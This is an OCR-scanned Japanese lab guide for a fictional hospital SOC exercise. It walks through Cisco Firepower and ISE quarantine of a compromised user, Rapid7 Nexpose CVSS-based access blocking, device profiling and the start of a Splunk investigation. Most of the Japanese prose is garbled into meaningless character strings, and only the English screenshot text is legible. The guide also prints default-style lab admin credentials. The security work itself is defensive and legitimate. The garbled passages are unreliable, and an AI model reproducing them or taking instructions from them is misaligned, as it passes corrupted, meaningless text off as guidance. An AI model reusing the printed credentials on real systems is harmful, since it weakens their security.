9. RIZKRYT7vT D4 FO%EFHLC. BMEDREIZA->TLAS1— TéHD doogie howser DIEIZHEHIAE1—2EI)vILET,

"1 doogie howser (AD1\dhowser, LDAP)

10. MEHLLTETLETITIETAICETIHMARTEINET . ROBIL. FooO0—FEHA. TIL Iz TELTHESNIZRS
O—ROFIERLTNET . COTIILDIT X D74 )LERE TR E SN - Z B (Threat Detected in File Transfer) |&EBES ., BE
D HHEETEDESE M malware-cnc | ESNTWHET,
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User Identity

Last Seen 2018-02-28 14:01:59
Realm AD1

Username dhowser

First Name doogie

Last Name howser

Email dhowser@hackmds.com
Department medical staff (hackmds)
Phone

Discovery Application LDAP
Active Session Count 0

Yiew Context Explorer

Indications of Compromise . &  Edit Rule States || (1 Mark all Resolved
Category Event Type Description First Seen Last Seen
impactz  WTPARZiion | Thefotwsteed | ajeoii o zoisovn
Attack : P P 4 S 08:05:40 S 08:20:34 a

admin vulnerable

cnC Intrusion Event - The host may be under 2018-01-10 | 2018-01-11
Connected malware-cnc remote control ¥ 21:48:53 ¥ 06:51:26 a
Malware Threat Detected in The host has 2017-12-20 2018-01-10
Detected File Transfer encountered malware ¥ 15:40:17 ¥ 21:48:38 a

Host History

11. [ RT L (System)] IZFEEIL T [#E4& (Integration)] Z#IR T B L. Firepower ME D KS(Z ISE #EUVHL TSN ERERTEE
¥, &IZ [ID Y—A (Identity Sources)]. [Identity Services Engine] DIEIZEIRL. [T AL (Test)] ##IRT B &, Identity Services
Engine (ISE) AR ESN TSI ENRTRINET,

System [EEEII ST TS

Configuration Users Domains Integration Updates Licenses v Health » onitoring ¥ Tools »

Cisco CSI Realms Identity Sources eStreamer  Host Input Client  Smart Software satell@

| 1
2

3® 4
Identity Sources

Service Type None Identity Services Engine User Agent

Primary Host Name/IP Address * 198.19.10.4

Secondary Host Name/IP Address

pxGrid Server CA * CA-ROOT ¥~ @

MNT Server CA * CA-ROOT v @

FMC Server Certificate * FMC-Cert >~ O

ISE Network Filter ex, 10.89,31.0/24, 192,168.8,0/24
* Required Field Test %fﬁS
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12. [TAM(Test)] "2 %5 woL T, Firepower & ISE DNEHRSN TSI EEXHERALET,

Status

i v ISE connection status:
Primary host: Success

» Additional Logs

ook |

13. Cisco Firepower & ISE O#&TlE. RIZHBEIIL—ILEHRELET T, MBEIIL—ILNMN)H—Sh B &, Firepower M5 ISE IZ75—k
MEESNET, [RYS—(Policies)] 24"y~ LT [ (Correlation)] Z#IRT B ETHEIL—ILEERTEET,

E:pxGrid &, V) a—a MTT— 25 £ET5-HDEEDOREEZR-TIDTT , COBITIE. ISE & Firepower I TEBT—4
HHEBT =01 pxGrid AAFEFRASNTULVET, Splunk % Rapid 7 2E , S RSN D ZLDARUE—E, pxGrid [ZRIGLTWNVET,

Firepower & Stealthwatch &, EE55F7 YT —VREERHE TEE T, Firepower DiEHA &, fEFBHE. FYNT—V DT IT4Ti5
AT L. BERUBMOKEEEEEEL. AMP [ZE>THLWET7MIVEE=A) T T DHEEIZHYET .

Stealthwatch M3EH (L, RYRT—9 R—ZDSA=25 . BEOHAT I avDE=LITIZE I HEMBEERBICHYET,
FYRT—DEIKIZHT=2T RAYF. TAVLR TNA R ARBRAYF 2 EDEFHEZRE TEET, Cisco Stealthwatch DEEHHIZD
WTIE, FUA 5 &SHBLTESLY,

Overview Analysis Jiellé= Devices Objects @ AMP

Access Control v Network Discovery Application Detectors Correlation Actions v

14. [JL—ILEHE (Rule Management)] 21 v99 3 &, pxGrid L—ILWNRTESNET , pxGrid 74+L 5 %5 voLTHKE, SOC EH
ICED THEREN-ERBOMEIL—ILNRTENFET, IL—ILOBMIF, TRENDERNE>TRINTLET,

Overview CONeE Devices Objects | AMP  Intelligence

Access Control v Network Discovery Application Detectors Correlation Actions v

Policy Management Rule Management White List Traffic Profiles

N

Nam * /

—
pxGrid

Endpoint-Malware

Intrusion-Event

Network-Malware

UnQuarantine
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a. YARA®DIL—ILIL, REPEZRAS CNC H—/N_~ADEHLE . BERICETINIASBE T/ avE LIRS T
WET BEIL—ILEL. BEOHD TV AV NI A—SNGEDITHERELET . L—ILEIIVITEE. TREN
DHEREFFERRTEE T,

15. &I, Cisco ISE M DB TAIEFEEL . Firepower EDHEZED LALLM ERETLET,

Cisco ISE 75—L%ERTT S

ZZF TT Firepower 75— LZHERLTEELT =, RIZ, ISE H¥ HackMDs Yk T —IADTIERZRABZTRATOVRATLIZED &
SIZT7 IR GEHEERATESNERTLEET, Firepower (&, RYFIT—IHMNCDBHERFET DL TOANUMIFET DKL
ISE ISEHMILET . ZORIEEIEL. ZOHITIE, VPN BEFDILIz LT, BESN =T/ 1 XERER HackMDs Ryt T—ohSiEefERy
FO—DICBETHETT ., REERVFI—O TR BEFIEEETTEOITT I EADFIRSNTLET,

ETNAREDBT HCEE L DDEDGAETIA, EEEQLE—INOVRATLEBETHLETEY . F/WWFOEHFDS
DUA—RGEDBEEBESNERTOEREEITTEHLELTEE R A,

1. Web 7594 T https://198.19.10.4 [Z74 AL T Cisco ISE BIEA L A—TTA RERTSE DN . Web TS5HHYTISE 4T%%
JwHLET, 1—H % :admin, /SRAT—K:Clsco12345 ZFEALTAS AV LET,

D 198.19.10.4/3

L TGS l
afaln

ldentity Services
f B Engine

admin

Dr 3414 X sername

i | B Password | esseesssed]
§ | §

pioblem loggingin

2. AMyDFYAR—FEHRRTENFET,
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St x

<€) C @ LGJ‘»F https //198.19,10.4/admin/
F) Nexpose 5w Stewalthwatch &3 Identity Services Engi... ' Apache Guacamole i Firepower @@ Splunk

I+ ldentity Services Engine » Context Visibility » Operations » Palicy » Administration » Waork Centers

alta
c18Co

Summary Endpoints Guests Vulnerability Threat +

METRICS

Total Endpoints @ Active Endpoints @ Rejected Endpoints @
< Lt 3 2
| S D : | ]
o e s
i AUTHENTICATIONS ° R O X i NETWORK DEVICES o
Identiy Swore Identiy Group MNewwork Devica Failure Reason Device Name Type Loeation

3. [ZA (Operations)] T[547 A% (Live Logs)] #&IRLT. O¥ERTRLET,

Home » Context Visibility ¥ QOperations » Policy

Guests Vulnerability " RADIUS

Live Sﬁsions

4. BIFO ISE OFTHARTEINET, 21— dhowser [ZEZAEIND VPN E#EARZESNTWDEIEANLMET , F1- dhowser &
AT LOBREDIKELTFEEE (Quarantine) I THY . IWITDERARY —h VPN >> f@Ef (VPN >> Quarantine) 1&L TEHAIN T
WBZEEDOMYET, TTIHICRO>TEER—IEVVIL RAT—EREBEDIRYNT—) TORRIZET EMNTEET,

Jan 09, 2018 04:16:53.457 PM o o 1176 HealthMailboxfe9d3ed 198.19.10.2

Jan 09, 2018 03:44:39.436 PM [} Q 2 dhowser Workstation 00:50:56:AD:27 ivan >> Quara Quarantine
Jan 09, 2018 03:44:38.903 PM o H#ACSACL#-IP-Quara

E RAUIEBREEICT 5012, ZOFRTIK ISE [(CKREDI—HZEY L TTOWET A, ERICIE. RYNIT—H ETT7OT4TI12H-T
WBEIFEDTNARET R THERTEET,

5. VPN 1—H® ISE /R —FFRRT BIZIL, [[RU—(Policy)] #7 D [R)—tvk (Policy Sets)] #9'voLET,
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I ¥ Policy » Adn

Policy Sets

Posture

Policy Elements
Dictionaries
r Conditions
Results

6. VPNRYS—ETITAHILMDRY—BRERENET, COSHRTIHITEKRMIZ, VPN RYS—DHZERY EFEFT, ZZTIE. LAN
FYRT—=DETAVLR RYNT—=ODEF A TAEHERTEHENRRN TSOT4RIZHYET, ThIZF ESRR Z—XIZEL
TIESFEFLRFHMARENERINET,

delie Identity Services Engine Home » Context Visibility » Operations » Administration » Work Centers

Policy Sets ~ Profiling  Posture  Client Provisioning  » Policy Elements

Policy Sets
+ Status Policy Set Name Description Conditions
5! DEVICE:Device Type EQUALS All Device Types#Firewalls
® N AND
@ DEVICE:Location EQUALS All Locations#HackMDS
(®  Default Default palicy set

7. VPN RYS—ZWERTBICIE, BICRIA—ILLET, [EvbEI(Hits)] ATTVICIE, R —D ARSI BRI REINET, [T
(View)] h73VDTOXvOvbEI VT HE CORI—DFMNRTEINET,

Allowed Protocols / Server Sequence Hits Actions  View

Default Network Access B 95 L >

Default Network Access Bl 0 04 >
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8. RUL—ZDEDFvOVrEIIVIT DL, R —DEFMERERTEET, [Ba/RYI— - ' O0—/3)Lfil4t (Authorization Policy -
Global Exceptions)] DF¥+vEyb&EI)u0$HE, FHlNRTIENET,

W Authorization Policy - Global Exceptions (2)

Results
+
Status Rule Name Conditions Profiles
’ :ti Session ANCPolicy EQUALS QUARANTINE
(&) Quarantine OR Quarantine
= Session EPSStatus EQUALS Quarantine
Threat C¥SS 10 E; Threat-Rapid7 Nexpose-CYSS_Base_Scare GREATER 7 DenyAccess

1 D2OT7 T4 —h ECREAR) S —NERAIN TLST /AL RIZHLT, LB ETILIITHEINTWSI LN OAYET,
2 BHDOR) O —FENHO>TNSD, TL—DIERTYLATREINTNET , ZDRY T —(E., Rapid7 @ Nexpose ffis5HERF+
FERESNB ISR SN TWET , ZOFETIT4IT DR —IE, Nexpose DEBTUFT VRATLTTEHBADMEHBENRD
Mot=TNARERBET DL, ISE [TBHT LD TYT . CORII—IE RYRT—IIZTF I ERTETRTDT/NARD, FvbT—H
[CEXRGMREIEEZELI-5ENEIITTIHEEITELTOET, CORY—F, BTIOIRTEMILTTANET,

FECCTETAIFAV T EFERALTCT NS RERIELZY . RRAF YD TOT7 A LEBELTCEFEF VLY DAL AR EKHEE
DEF 2L TADBEMESN TSI LEHERLIZYTEE T, COIKRTIE. L DOBIZETRTI=HIZ. TS ADER SN -EE(C Rapid7
Nexpose ¥ v ZBIALET . —BALERAF v RS —TIE, Windows/MAC DEH &, ZIFDIAIIL AR ENEFEICHREL TS
NEIOLHEREINFET,

9. FvOvkrEHYvHILTIORYS—ZBHACET, RICTAMICRYAO—ILLT, ROFvAVRET)vITBHE A D ISE R
—PRRENFET,

¥ Authorization Policy (4)

Results
+
Status Rule Name Conditions Profiles
& KM
L ANC F b L
k I I ) N
& E KM
F AND t Access + Sca +
k np
& !
t AND +
o

1—4H' HackMDs Active Directory JRMIEFEN TSI LEHER T IR —DEFEL. BEDIRENFET LMD VAT LA
MEBTEDLDTHAZENOAVET , TNITEY A—FHRERTHY . BRIENI=T /NS REFERALTHRYRT—2IZ VPN #Hi#iL
TWBIENERSNE T, TN, EHETEDI—YNEALRATLEFERATIIEO, REBLELTRT (VT EHEEMSLMIE
MO RSN EBTELSYT T E2FERALTRIUN I —VICT O ERERADIENHLINET, ZOMDKRY o—I&, ZIZRTRL
FARRFY FIvIANDEE/IFEEIZHT S ISE DREZHATHELDTY,
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10. RIZVISE RDTAT7A)UY T avEw R THELES, TAT7AITH, FUNT—IOADT I REHXA - HEHEFE LT LY
FORFERE . RV—D—RELTHEATEEY , Thld. Bring Your Own Device (BYOD; BAFRE T/ 1 RFFHIAH) R o —7
EDERIZELTULET, [[RUT—(Policy)] #7 &5y HLT [FRIT7AU Y (Profiling)] 2:&IRT5HE. CDOEIavRRRSh

ia-o
« Paolicy » Administration » Work Centers
Policy Sets Profiling
Posture Client Provisioning
Policy Elements
Dictionaries
Conditions
Results

ESE FAT7AIL T DRIELTIET NARDEFRMNBIFONET, U IT7vT bV T & THRAADERTIN TSI LERLET,
TAT77A4) T TlENIC h—FOEETIZEDNWTT NS RADA—H—HREINDIGEDHYET, F1ZL. FHLIEREFDICETSS
IZT—ANREIZHEYET, COB R TIE MAC T/31 XM Windows T/NA ADEBRITEET , TDHE. TNARATISHHERE.
DHCP E®ARREINFET , TDEE(C, RSN 1= Safari T D IE DHCP 1FHRD/N—2avITEL T, MAC D/A—2avh
iPhone ICEDLBIEENHYET

TOTJ7A4) T TG TOERTY , FEAE TNAABTYURELTRENTULNT, T DHCP FHREEDMD T —2IZE>T
FRNALMNZHZE, ISE TIERIL—MRABINET, TDLSICL T EETESTNARIZHT IR T =TT HEDHEN
Cisco ISE [Z&>TRhfish=Ezd,

11. FA774)0 5 %EIRT 5L, Cisco ISE THERATERMBLDT/NAR TATFAILBARTEINET , CREDTAT7AILIE. ' —
L VRTLDBREDESREEICBESNEFIVIO EED Apple LGN E5HLY—RULBEODBREIZERTEES, 22T
TAHRIZRSB—IJLLT. Cisco ISE ANEEMICRE TES RO T/NARERRELTIZELY, ISE TYRTLOTAT7()V 5%
TOHEEERT B-OIT. VAT LOBEICERT R vbT—Y TO—TE2RTHFELLS,
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Profiling Policies

J Edit opAdd [fyDuplicate = Y Delete v | @uImport G Export v

Profiling Policy Name ~  Policy Enabled System Type
O] 2wire-Device Enabled Cisco Provided
O 3com-Device Enabled Cisco Provided
0 Aastra-Device Enabled Cisco Provided
(] Aastra-IP-Phone Enabled Cisco Provided
[J Aerohive-Access-Point Enabled Cisco Provided
[0 Aerohive-Device Enabled Cisco Provided
[0 American-Power-Conversion-Device Enabled Cisco Provided
] Android Enabled Cisco Provided
OJ Android-Amazon Enabled Cisco Provided
J Android-Amazon-Kindle Enabled Cisco Provided
[0 Android-Amazon-Phone Enabled Cisco Provided

12. FOT7ASDRYNT—D bSTAVDICEDNTT NS REHET 5555 MR T B2, [EE (Administration)] #9vY LT, [&
AT L (System)] H5 [ A (Deployment)] Z:ERLET,

Services Engine

Home » Context Visibility » Operations » Policy * Administration

System Network Resources pxGrid Services

eployment Metwork Derces omilifailiins i

Licensing MNetwork Device Groups Profiler

Certificates Metwork Device Profiles

Logging External RADIUS Servers PassivelD

Maintenance RADIUS Server Sequences AD Domain Controllers

Upgrade NAC Managers Mapping Filters

Backup & Restore External MDM Threat Centric NAC

Admin Access Location Services

Third Party Vendors
Settings

Nawvira Dartal Mananamant

13. ISE H—/\DNRRENET, [ISE] DAFTET ) IL FHGEH—RBERELTOELRA) | [HE (Edi)] RE2EIYVITHE.
Y—NOFMLRTSINES,

Deployment Nodes

’,f"’ Edit Register @Syncup @ Deregister
[] Hostname ~ Node Type Personas
] ise

ISE Administration, Monitoring, |
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14. [FRI774) 29 3% 5E (Profiling Configuration)] #2%9)vo 9 5L, ZOHY—NIZHTBT0T7(I T R EEHEBTEET,
Edit Node

General Settings Profiling Configufs

Hosthame ise

FQDMN ise.ad.hackmds.com

IP Address 198.19.10.4

Mode Type Identity Services Engine (ISE)

Role STANDALONE Make Primary

15. ISE FAI7AV T NS T4 EHRTH=OIZHRAT S, SFIFLTOrUNRTEINET, ISE ITTF—4%FRHI5T0ka
JLT#HS DHCP, HTTP R EICFzvIMNFLNTNET,

Deployment Nodes List > ise
Edit Node

General Settings

O » NETFLOW

o
¥ DHCP

Interface | GigabitEthernet 0 '|

Port |67 |

Description | The DHCP probe listens for
DHCP packets from IP helper.

v
v DHCPSPAN

Interface I GigabitEthernet 0 v

Description | The DHCP span probe collects
DHCP packets.
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16. F7AT7A)LY T—2%RFRT5HELI 1 DDAERELTIE, [AVTFALD AR (Context Visibility)] 22y LT [TURRAUb
(Endpoints)] Z:&RLET

Seihr ldentity Services Engine Home ~ Context Visibility » Operations » Policy » Administration » Waork Centers

Endpoints Users  Network Devices  Application

INACTIVE ENDPOINTS © L= AUTHENTICATION STATUS @ e O AUTHENTICATIONS @

Falure Reason  Identny Sore  Idantry Group

conmecied: [100%]
L vity Dat
Rows/Page 7 v 1 " Go
T o+ @i ANC~  ChangeAuthorization~  Clear Threats & Vulnerabilities  Export~  Impot~  MOMActions ~  Release Rejected  Revoke Certificate YrFi
MAC Address Status IPv4 Address Username Hostname Location Endpoint Profile Authentication Failure Reasc

x - ‘ £ ar 1 I [; tt \ alf F

00:50:56°AD:27:6F " 198.19.40.51 dhowser HackMDS Windows7-Waorkstation

00:50:56:B8:6E:6D VYMWare-Device

HEAFBAHBRYET—IICT VAL TVSNEERITRT AIRES Y aR—FRRRENET . MAC 7RLR, TOI71UTE
NI=T—RIZEDIN—RILT7 ETIL.BTAY JLToIUIE I A—FEEHRTEET, ChiF, FbT—ILICHFETHLD
NI4T LIR—hELTHATES, EEGAR—DTY,

17. Cisco ISE [C&>TEHBESN = RRANMIA UV RM—ILEN TS, VIR TOT T r—2a DA T OFHMEHR T H L1 TEE
T INERTTBICIE, [ATF RO AR (Context Visibility)] D TF® [7F)4r— 3> (Applications)] 27 %9 voLET,

Home ~ Context Visibility Operations » Adminis

Endpoints  Users  Network Devices  Application

APPLICATION CATEGORIES @

Both  Windows  Mac OSX

I I I I I I I Applications Er

46

of

RowsiPage ¢ v 1 I6
< Refresh Policy Actions =
Application name Version Vendor Category Application OS Er
x name Version endor tegon v
7-zip 16.02 Igor Pavioy Unclassified windows 7 ultimate 64-bit
hitlocker drive encryption 6.1.7600.16385 Microsoft Corporation DiskEncryption windows 7 ultimate 64-hit 2
cisco anyconnectise complianc 4212260 Cisco Systems, Inc Unclassified windows 7 ultimate 64-hit 2
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18. RIZ Firepower ##& T. Cisco ISE A% Cisco Firepower %> Rapid7 Nexpose HEZDMDTH/ AP —L@IET S HEERTHE
L&S. Chld, [EHE (Administration)] 41w~ LT [pxGrid 3 —E X (pxGrid Services)] Z:&iRJ 5 & T, pxGrid H—E AN DHE
BTEET,

» Operations » Policy * Administration

‘ortal Management  pxGrid Services » Feed Ser

19. Cisco ISE EDEENA AT HER . 47T pxGrid, DFEYUME T T av DURIRRRSNET  [ZA4TBY (Live Logs)] £0UvI$ 3
EMDIURTLIALDERIZELT ISE MEFTLET I AVHARREINET,

FE N AMDURTLANMEED-OIZ ISE ICTERETOLSEEDHMRETT . ERXHLETETT . COMAF, Y RABLUVLRILL
NDELDY)1—2ar THR—FERATVET,

Rapid 7 Nexpose ISE #i&

HackMDs Tl Rapid 7 Nexpose MfiSBEER X v FE2ERALT. /W FBEBDODAR TS5UOT4REFRALTLET . 1 DDRAEIL.
BHEAITRHIN D BDIEIFEISHIE LGNS, EXRAEMFEZFDOVATLICTTIEOCHIETHIETT  COREEMRRT 510
IZ. HackMDs TlZ Nexpose & Cisco ISE ##i&LTLVET,

I SANSTHESHEEE | ETILIZRS=ERDARS TSUT4RXATIE, TRTOT7yrEEEL. BEMHEEEL., /SvFL,. Fhog
RIETHIEDKRDOENTLVET, Cisco ISE EMEHBHERFvTEHETHILET, ADEFZEINTLEINEIREL, TRTOT v EHE
BRFICEIE TE STz RRL TSV TARADERAMNEARMICEBIESIET, S5 EXGRBHESR OO -7y EREETES
=6, ERHEERLAITUINRBATERIZBE LS ET,

(1) BEAUAURM) (2) BmEE
(6) X5
(3) YRV EHE
(5) LAR—k
BLUER
(4) HE5514 D FF
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1. RFXvoEnf= RTLEWRETHICIE. [V TF XD AR (Context Visibility)] > [T R7RA >k (Endpoints)] IZFEEIL . [ifE557%0
IV RARA >k (Vulnerable Endpoints)] #2IRLET,

Z'.';}'& Identity Services Engine Home ~ Context Visibility » Operations » Policy » Administration » Work Centers

Endpoints Users  Network Devices  Application

(@) Authentication BYOD Compliance Compromised Endpoints Endpoint Classification Guest Vulnerable Endpoints Hardware

ENDPOINT COUNT BY CVSS

- + [i] ANC ~ Change Authorization = Clear Threats & Vulnerabilities Export ~ Import ~ MDM Actions Release Rejected Revoke Certificate

L MAC Address Username IPv4 Address Vulnerability Source Score L

X

HackMDs R yhT—HIZ#H T 5T R TOT /AL REFHET 5 ELVS Cisco ISE DIERIZHELY, Nexpose [ZE>THRHESN =T RTOHf
BETNAZADNFEMIRINET, ISE [ZIE. TRTOMRRIURRAU M CVSS SUF T IZH>TRRINET . CVSS 1. BE
S OBREESU I T T 2OICERTHERASNTVDEVRATATT , ZOHF— VAT LIL. CVSS SUF VT DEKRMEEIE
BT HOITRILET, RIEFEICERTHLILEZEKRLET,

2. TAMIZRZO—)LF %L, Nexpose IZ&oT Cisco ISE RIZEEEESh =B D HFMEREETEET,
&

- + m ANC ~ Change Authorization « Clear Threats & Vulnerabilities Export ~ Import ~ MDM Actions ~ Release Rejected Re\

O MAC Address Username IPv4 Address Vulnerability Source Score

= 00:50:56:AD:27:6F dhowser 198.19.40.51 ssl-cve-2016-2183-sweet32 Rapid7 Nexpose 5.20000019
msft-cve-2017-0146 Rapid7 Nexpose 8.10000038
cifs-smb-signing-disabled Rapid7 Nexpose 7.30000019
ssl-cve-2011-3389-beast Rapid7 Nexpose 4.30000019

BURATLTREENT -, SESELAATDORB UL R TINET, F=&Z(E dhowser [ZIXZH DT L HDELSTY . dhowser D
SYThyT D MAC PRELRED DT BE, SHICHEMANRTINET,
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3. RIZ [Me551% (Vulnerability)] #7%9') v 9 %&, Rapid 7 DEBREICEDNT, ThZNDMEBEOFHEENRTEINET,

Endpoints 00:50:56:AD:27:6F

00:50:56:AD:27:6F Oz HE

MAC Address: 00:50:56:AD:27:6F

Username: dhowser
| Endpoint Profile: Workstation
_g Current IP Address: 198.19.40.51
Location: HackMDS

@ Applications Attributes Authentication Threats Vulnerabilities
e

ssl-cve-2016-2183-sweet32

Title TLS/SSL Birthday attacks on 64-bit block ciphers (SWEET32)
CVSS score:  5.30000019

CVEIDS: CVE-2016-2183

Reported by: Rapid7 Nexpose

Reported at.  Tue Jan 09 10:17:35 UTC 2018

msft-cve-2017-0146

Title Microsoft CVE-2017-0146: Windows SMB Remote Code Execution Vulnerability
CVSS score:  8.10000038

CVEIDS: CVE-2017-0146

Reported by: Rapid7 Nexpose

Reported att  Tue Jan 09 10:17:35 UTC 2018

EEDRBELCZOMDEMRE )y LT, Rapid 7 Nexpose %2 E D554 R FvF& Cisco ISE & T IMMELTEHEL TS,

4, RIZ.BEEEDITHEHTULVS Nexpose RUS—FHHMIZLTHELLD, [RU—(Policy)] £91)voLT [RJL—tvk(Policy
Sets)] #2;iRL. K —tvk(Policy Sets)] IZRYET

I ¥ Policy » Adn

Policy Sets

Posture

Policy Elements
Dictionaries
I Conditions
Results
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5. HIZRYA—)LLT, VPN RYL—%FrAvbEHYYILET,

Conditions Allowed Protocols / Server Sequence Hits Actions iew

| DEVICE:Device Type EQUALS All
o Device Types#Firewalls
AND Default Network Access x v o 68 e

® DEVICE:Location EQUALS All
Locations#HackMDS

6. [FREIARYL— -7 O—/3)Llst (2) (Authorization Policy - Global Exceptions (2))] ®¥¥OvkZE2UvoL, FARIZAZO0—)LL
T EYIESN TS Threat CVSS 7 RYL—ZEHERLET . TDHRI—F5)vILT [E$1E (Enable)] Z:ERL. DR —

AL —
EEMLES,
€15€0. Identity Services Engine Home » Context Visibility » Operations ~ Policy » Administration » Work Centers

Policy Sets | Profiling Posture  Client Provisioning  » Policy Elements

¥ Authentication Policy (1)

> Wllcy - Local Exceptions
" rization Policy - Global Exceptions (2)

Results
+
Status Rule Name Conditions Profiles
E Session-ANCPolicy EQUALS QUARANTINE
® Quarantine OR x Quarantine
E Session-EPSStatus EQUALS Quarantine
Threat xpose-CV! r
Threat CVSS 7 E : reat-Rapid7 Nexpose-CVSS_Base_Score GREATER *VAinerable Endpoint
@© Enabled
9 Authc @ Disabled
P

7. EBICRIO—LL. BLIZHD [(RTF(Save)| REVEVVVILT. RREEREFTILENHYES .

« Poicy » Administrabon » Work Centers

Reset Save

Allowed Protocols / Server Sequence Hits
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8. RDP E#ZELTIVISVEADTRIMTIZRY., Web T30 HEREET . www.cisco.com HE D Web H A M7 VR EHA
%L, dhowser PaVE1—4H, COTRTRLTCEEBOMBIHEICL>TIVTSAFTURIZERLTWS O, UFILINEND
DAY ET, ISE TRESN=R) L —IZEDT, CVSS T 7.0 UL EDSUVICFHASN =B HEEZHOT /A RIE. BEIMICIE
B ET, fzLZ (& dhowser DOV E1—4IZ(E, 8.0 IE(F) ELTEHESNI=IfETEENHY FL1=,

@ Acceptable Use Policy X

— C | @ Secure | https://ise.ad.hackmds.com:844 t t b f * ¢

I l Vulneral%le Endpoint Detected
! m ! J L

This device has been identified as

- . :
& 1 7 vulnerable per the enterprise security policy
i e M Please contact v fernandez at the
-0« g
L L }"
. “('

Help Desk at 40¢ 856 to secure your
computer before gaining network access

ey

Accept Kecline

ZD CVSS IL—ILIZH->TREESN =2 —H D=2, hREL ST R=UHNAESN., ZOHTIX. HackMDs NILTTRO%
%19 % Moses Hernandez EKIERTHIEMNHREINTILET,

FEH

Cisco Firepower T® Cisco Identity Services Engine ERHKBRALEHL XA T LD E ., Rapid 7 Nexpose 2E | £RE)—KT 5
MES MR EELDMELE . TV ERHET /Ao —DHEN B0 T HRIE. CCTRULBICEFYEL A HBE I SEFSFLA
ETRINT—IDRELT—ROGIMERAFT REAL KEH . KERTNZTNITOVNTEFA)T(ETAEDI=U T 5L
AR TSOTARITBYES , ChICE. WERTH/O0—FFREEZR TV /00— (ZOHITIE Firepower) BB EHELIZIHZSI.
BHEMEELRERITY/OO—(COBITIK ISE)EHMETHHE V) a—2av DENEENTVET, BHERFvFOHMEIZEY.
EREICTRTOVRTLNRE v, FEREGHBEAR DN AT LITH T2 TUMREABEMEENET,

CNTIRERTLET,
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FVA T EhE#E (Splunk KU IBM QRadar)

YAN— AV TUMIRETILTEELRDIL., BRICHT R GHEDRE. HLAH EBETT, Z0OHICIK. BENFKELS:
AREMEAHDBEICEIL. EFEMNTRREREBEL CEYIE R SN TESE T OBERERBTEHENBRETT, L2508, BYLY—
WEBALLZZLOMEBTIZ . A1V TUMIGIIMRRELTHEEBLRFEETT , TNIE, HAOESNISEIFLRREE (O FI—TzA
ADBREDFERMBESIND D, TNLETRTCFEETOREELERITNIEANRUIOEEAEARLITIBIET 5 ENTERLDS
T, EX 1 TAEREARVIEE (SIEM) Y —ILDAENRIEBESNZDIEZDE5ERRTT,

DL FIATIE, HackMDs @ SIEM(Splunk E7-I1% QRadar) #{# FL T. Firepower. Identity Services Engine (ISE) . Advanced
Malware Protection (AMP) . Stealthwatch T ESN-SESFEHAA T DR BEEREIELE T, £z, Firepower KU Rapid7 Nexpose
TRESNMEHEET—2(ZE DU T HackMDs fBROBEMGIESEEEEELTVEET 2RI THEBICEESNF v
R—FZERAL. HackMDs IREBICK T 5B EMNLEREHET 5-OITEBBOT IV MIBE-TRRETERELET .

LEES

DTV D% TIL, Splunk FfzI& QRadar [T VAL, EFEDH Y aR—RERATAT YAV FEEFEALTEREO Y2
D74 ARURERELET , &RAIC. Stealthwatch & Firepower THERINT=RER YT —IANDFRER) E—MEK. FELERIT
B TARBBEICRIVTRROERZAELET . KIZ. DMZ Y—/\THESNT- struts DIEBHEICHTEITIRTOSMEAR
F9, &I, Firepower D7 Z5—r&EI(Z Cisco ISE ARy —IDSHIBRLT=. B LTz VPN RRMERAZELET, Splunk Ff=(F
QRadar N&IET7 T J4r— 3>, HackMDs SOC B aiiR—R | R T47 YAV FEEFRALTOEET,

IR J)Y—X
SIEM: Splunk, QRadar
SIEM F¥—4 1JY—ZX :Firepower, ISE. AMP, Stealthwatch, Nexpose

AV Ab—ILF# Splunk 7F1)4r—a2 : Cisco Stealthwatch App. Cisco ISE App. Cisco eStreamer eNcore and eNcore
Dashboard App. Rapid7 Nexpose for Splunk App

A2 Ab—IVEH QRadar 7F1)4r—3>: Cisco ISE. Cisco Firepower

FIIE

CDIRTIL, H7ETz[E Tier 1 D HackMDs SOC TP =7 T, EXal T4 ANVFDERERMIGERLELTLET, &ifi. SIEM & A
L. BHBBENOBRED X 1) T RRIFEATESZ 7Ty —2avE AV AM—ILLELE:, T, EMICESHLTLKHBOT—4
yhEAR—XIZLTz HackMDs SOC 75—L4 By afR—F B ELELZ, HE-OLBE. EEOHLIBEERELTYR—F F
TobEA—To3 0. BEDHI LD TIILEMGEITIRRMELTHETEIETT . TRTOEX AT HEDEB(4—TI(R
1SRG A T BIEMNBOLN TV, SIEM NREBADTRTOTITIET(EERTDH—DHEEBEVET,
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5% :Phantom 4> Exabeam D& 554 —47 AL —230 Y—ILEFZRLT. AUV T DORIGEBEL T EHIEMNTEET, F1=.
Cisco ISE HE DT XAH M ZEFAL T, SIEM TEEDHLSEELNHERIN =T N\A RERBEET A ELABETT . CDIRT
. BEDIEEETIEIEELEE AN

Splunk SR

Splunk DHET—4

ZOSRTIIBEOKET—RIERLTOERA, RDYIZ, HIE=AMED CTR EL 12— L TETLERELRACKREEZH I EDH A
THLMNLOEFTLTHYET, LE=A>T. BFIDERI1E, Splunk OHIEE S EREN BB ESN-HEICEETHETY, HRIEE
HIAHIET. HBELIAL—2aV T A ICICHAEEMBTEET . BH. I LB T 2RBORTAEDOFEMIZOLT
. D CTR EPa— /L THEELTIELIAHYFE LA,

BE:COIREMIAT HATIC. FUF 3(RRy2a UK §57). 23U sS(REBDORE) . & FUA 6(FULRAZHEL. BEEDH
PEBEE=S)JIBH)EEELISE. Splunk DHMEEE T DLEEHYFE A, EED 24 Bl (TI4/ILMEDOHR) 218 %R
FTHIE COFTHRDEDNEEDKETHLHRRTEEY . AL TIEEE 24 BEDTIHULNOHRMEZDFEFEATEFT . TDHA.
Splunk DT —2BREIZRITLEREAKZ>TVEYT LDV FIFERELTWEWNERE, 1 FRDEBEET —2EHRT 510
IZ. ROFIEIZH ST Splunk TORREITVET,

Splunk D AR ZRAES S

1. Jumphost [Z#E#ELET,
2. Web IS5 %BE. Splunk AT %:ERT S, https://198.19.10.15:8000 IZF7 I ALET,

3. a1—%4£:admin, /SXTJ—F:Clscol12345 TAY AV LET,

4. Splunk IZNBT—ANEETALIICHMEARIDIVEAHYET . RERNFLETET—HDHMHEZEECEIREArOYTS
OUNBHYET . FOROYTEIUES)yHL, [B 1R (Date Range)] F¥OvhE#IRLET . RICH 1% 04/01/2018 ~
04/08/2018 IZEBELET ., 59 5L T. BT —AHELEARHBHP DT R TOT—EANRTEINET,

Between 14/01/2018  and | 04/08/201 Apply

5. IRNTOHFLWITTINEREITILENHYET . ROBIT, —RIBREV(VF I THHEAB T HHERLTVET,
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splunk

Search  Datasts  Repons  Alens

L Search

Splunk DIFE

